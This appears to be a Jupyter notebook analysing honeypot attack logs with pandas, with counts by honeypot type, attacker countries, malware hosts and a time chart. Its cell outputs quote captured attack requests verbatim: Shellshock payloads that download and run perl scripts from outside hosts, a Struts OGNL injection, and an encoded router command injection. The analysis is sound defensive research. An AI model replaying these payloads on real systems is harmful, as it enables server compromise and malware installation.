        "GET /phppath/php HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/defaultwebpage.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /phppath/php HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"crontab -r;killall -9 php perl; cd /tmp/ ; mkdir gnu-bash-max-races ; cd /tmp/gnu-bash-max-races ; wget http://64.32.12.152/gnu-bash-max-race ; lwp-download http://64.32.12.152/gnu-bash-max-race ; fetch http://64.32.12.152/gnu-bash-max-race ; curl -O http://64.32.12.152/gnu-bash-max-race ; perl gnu-bash-max-race;cd /tmp/;rm -rf max*\");'    1\n",
        "GET /cgi-bin/up.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"crontab -r;killall -9 php perl; cd /tmp/ ; mkdir gnu-bash-max-races ; cd /tmp/gnu-bash-max-races ; wget http://64.32.12.152/gnu-bash-max-race ; lwp-download http://64.32.12.152/gnu-bash-max-race ; fetch http://64.32.12.152/gnu-bash-max-race ; curl -O http://64.32.12.152/gnu-bash-max-race ; perl gnu-bash-max-race;cd /tmp/;rm -rf max*\");'    1\n",
        "GET HTTP/1.1 HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"crontab -r;killall -9 php perl; cd /tmp/ ; mkdir gnu-bash-max-races ; cd /tmp/gnu-bash-max-races ; wget http://64.32.12.152/gnu-bash-max-race ; lwp-download http://64.32.12.152/gnu-bash-max-race ; fetch http://64.32.12.152/gnu-bash-max-race ; curl -O http://64.32.12.152/gnu-bash-max-race ; perl gnu-bash-max-race;cd /tmp/;rm -rf max*\");'    1\n",
        "GET /cgi-bin/welcome.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET HTTP/1.1 HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "dtype: int64"
       ]
      }
     ],
     "prompt_number": 23
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Shellshock attempts where a website/webserver is being used that potentially hosts Malware."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "glastopf_df[glastopf_df['request_raw'].str.contains('};')]['request_raw'].apply(lambda x: x[x.find('http://'):x[x.find('http://'):].find(' ') + x.find('http://')] if x.find('http://') > 0 else 'a').unique()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 24,
       "text": [
        "array([u'http://64.32.12.152/gnu-bash-max-race',\n",
        "       u'http://test.music-set.net/mobile/t3.log'], dtype=object)"
       ]
      }
     ],
     "prompt_number": 24
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Countries where shellshock attacks originated from."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "glastopf_df[glastopf_df['request_raw'].str.contains('};')]['attackerCountry'].value_counts()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 25,
       "text": [
        "Germany               27\n",
        "Russian Federation    13\n",
        "dtype: int64"
       ]
      }
     ],
     "prompt_number": 25
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "The following two sets show potential directory traversal attacks."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "glastopf_df[glastopf_df['request_raw'].str.contains('../')]['request_raw'].value_counts()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 26,
       "text": [
        "HEAD / HTTP/1.0                                                 7\n",
        "GET / HTTP/1.1\\r\\nAccept-Encoding: gzip\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2251.0 Safari/537.36    6\n",
        "HEAD / HTTP/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: Cloud mapping experiment. Contact research@pdrlabs.net    5\n",
        "GET / HTTP/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 54.93.40.31    4\n",
        "GET /tmUnblock.cgi HTTP/1.1                                     4\n",
        "GET / HTTP/1.1\\r\\nHost: 54.93.40.31                             3\n",
        "GET //pma/scripts/setup.php HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31    3\n",
        "POST / HTTP/1.1\\r\\nAccept: */*\\r\\nConnection: Keep-Alive\\r\\nContent-Length: 395\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nExpect: 100-continue\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: Mozilla/5.0\\r\\n\\r\\nredirect:${%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()}    2\n",
        "GET / HTTP/1.0\\r\\nAccept: */*\\r\\nUser-Agent: masscan/1.0 (https://github.com/robertdavidgraham/masscan)    2\n",
        "GET /manager/html HTTP/1.1\\r\\nAccept: text/html, */*\\r\\nAuthorization: Basic Og==\\r\\nContent-Type: text/html\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: Mozilla/3.0 (compatible; Indy Library)    2\n",
        "GET /vtigercrm/test/upload/vtigercrm.txt HTTP/1.1\\r\\nAccept: */*\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: curl/7.35.0    2\n",
        "GET /cgi-bin/defaultwebpage.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/test-cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"crontab -r;killall -9 php perl; cd /tmp/ ; mkdir gnu-bash-max-races ; cd /tmp/gnu-bash-max-races ; wget http://64.32.12.152/gnu-bash-max-race ; lwp-download http://64.32.12.152/gnu-bash-max-race ; fetch http://64.32.12.152/gnu-bash-max-race ; curl -O http://64.32.12.152/gnu-bash-max-race ; perl gnu-bash-max-race;cd /tmp/;rm -rf max*\");'    1\n",
        "GET / HTTP/1.1\\r\\nAccept: text/html, */*\\r\\nAccept-Encoding: identity\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1    1\n",
        "GET /cgi-bin/reboot.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "...\n",
        "GET /cgi-bin/cgi.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"crontab -r;killall -9 php perl; cd /tmp/ ; mkdir gnu-bash-max-races ; cd /tmp/gnu-bash-max-races ; wget http://64.32.12.152/gnu-bash-max-race ; lwp-download http://64.32.12.152/gnu-bash-max-race ; fetch http://64.32.12.152/gnu-bash-max-race ; curl -O http://64.32.12.152/gnu-bash-max-race ; perl gnu-bash-max-race;cd /tmp/;rm -rf max*\");'    1\n",
        "GET / HTTP/1.1\\r\\nAccept-Encoding: gzip;q=1.0, identity;q=0.5\\r\\nConnection: close\\r\\nHost: dns.cloud.ph\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36    1\n",
        "GET HTTP/1.1 HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET //myadmin/scripts/setup.php HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31    1\n",
        "GET /cgi-bin/status.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/forum.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/php5 HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET http://testp3.pospr.waw.pl/testproxy.php HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: pl,en-US;q=0.7,en;q=0.3\\r\\nHost: testp3.pospr.waw.pl\\r\\nProxy-Connection: Keep-Alive\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/31.0    1\n",
        "POST /tmUnblock.cgi HTTP/1.1\\r\\nContent-Length: 943\\r\\n\\r\\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%6e%74%74%70%64%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2d%66%20%2e%6e%74%74%70%64%22%20%3e%3e%20%2e%6e%74%74%70%64%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%6e%74%74%70%64%20%68%74%74%70%3a%2f%2f%31%34%39%2e%31%32%39%2e%31%33%2e%31%31%3a%33%33%34%34%22%20%3e%3e%20%2e%6e%74%74%70%64%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%6e%74%74%70%64%22%20%3e%3e%20%2e%6e%74%74%70%64%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%6e%74%74%70%64%22%20%3e%3e%20%2e%6e%74%74%70%64%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%6e%74%74%70%64%2e%73%68%3b%2e%2f%2e%6e%74%74%70%64%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31    1\n",
        "GET /cgi-sys/php5 HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/contact.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET //admin/phpmyadmin/scripts/setup.php HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31    1\n",
        "GET /level/16/exec/show/config HTTP/1.0                         1\n",
        "GET //web/phpMyAdmin/scripts/setup.php HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31    1\n",
        "GET //MyAdmin/scripts/setup.php HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.93.40.31    1\n",
        "Length: 77, dtype: int64"
       ]
      }
     ],
     "prompt_number": 26
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "glastopf_df[glastopf_df['request_raw'].str.contains('\\.\\.')]['request_raw'].value_counts()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 27,
       "text": [
        "Series([], dtype: int64)"
       ]
      }
     ],
     "prompt_number": 27
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Total attacks per Honeypot type"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "attacker_df['channel'].value_counts()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 28,
       "text": [
        "dionaea.connections    3051\n",
        "snort.alerts           1002\n",
        "glastopf.events         106\n",
        "kippo.sessions           92\n",
        "dtype: int64"
       ]
      }
     ],
     "prompt_number": 28
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Events over time by honetpot type."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "from matplotlib import pyplot as plt\n",
      "mpl.style.use('ggplot')\n",
      "fig = plt.figure(figsize=(16, 8))\n",
      "fig.suptitle('EU Region - Events over time by Honeypot type', fontsize=20)\n",
      "for channel in attacker_df['channel'].value_counts().index:\n",
      "    plt.plot(attacker_df[attacker_df['channel'] == channel]['channel'].resample(\"D\", how='count'), label=channel, linewidth=4)\n",
      "plt.legend(title=\"Honeypot Type\",bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)\n",
      "plt.xlabel('Day Number')\n",
      "plt.ylabel('Number of Attacks')\n",
      "plt.show()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "display_data",
       "png": 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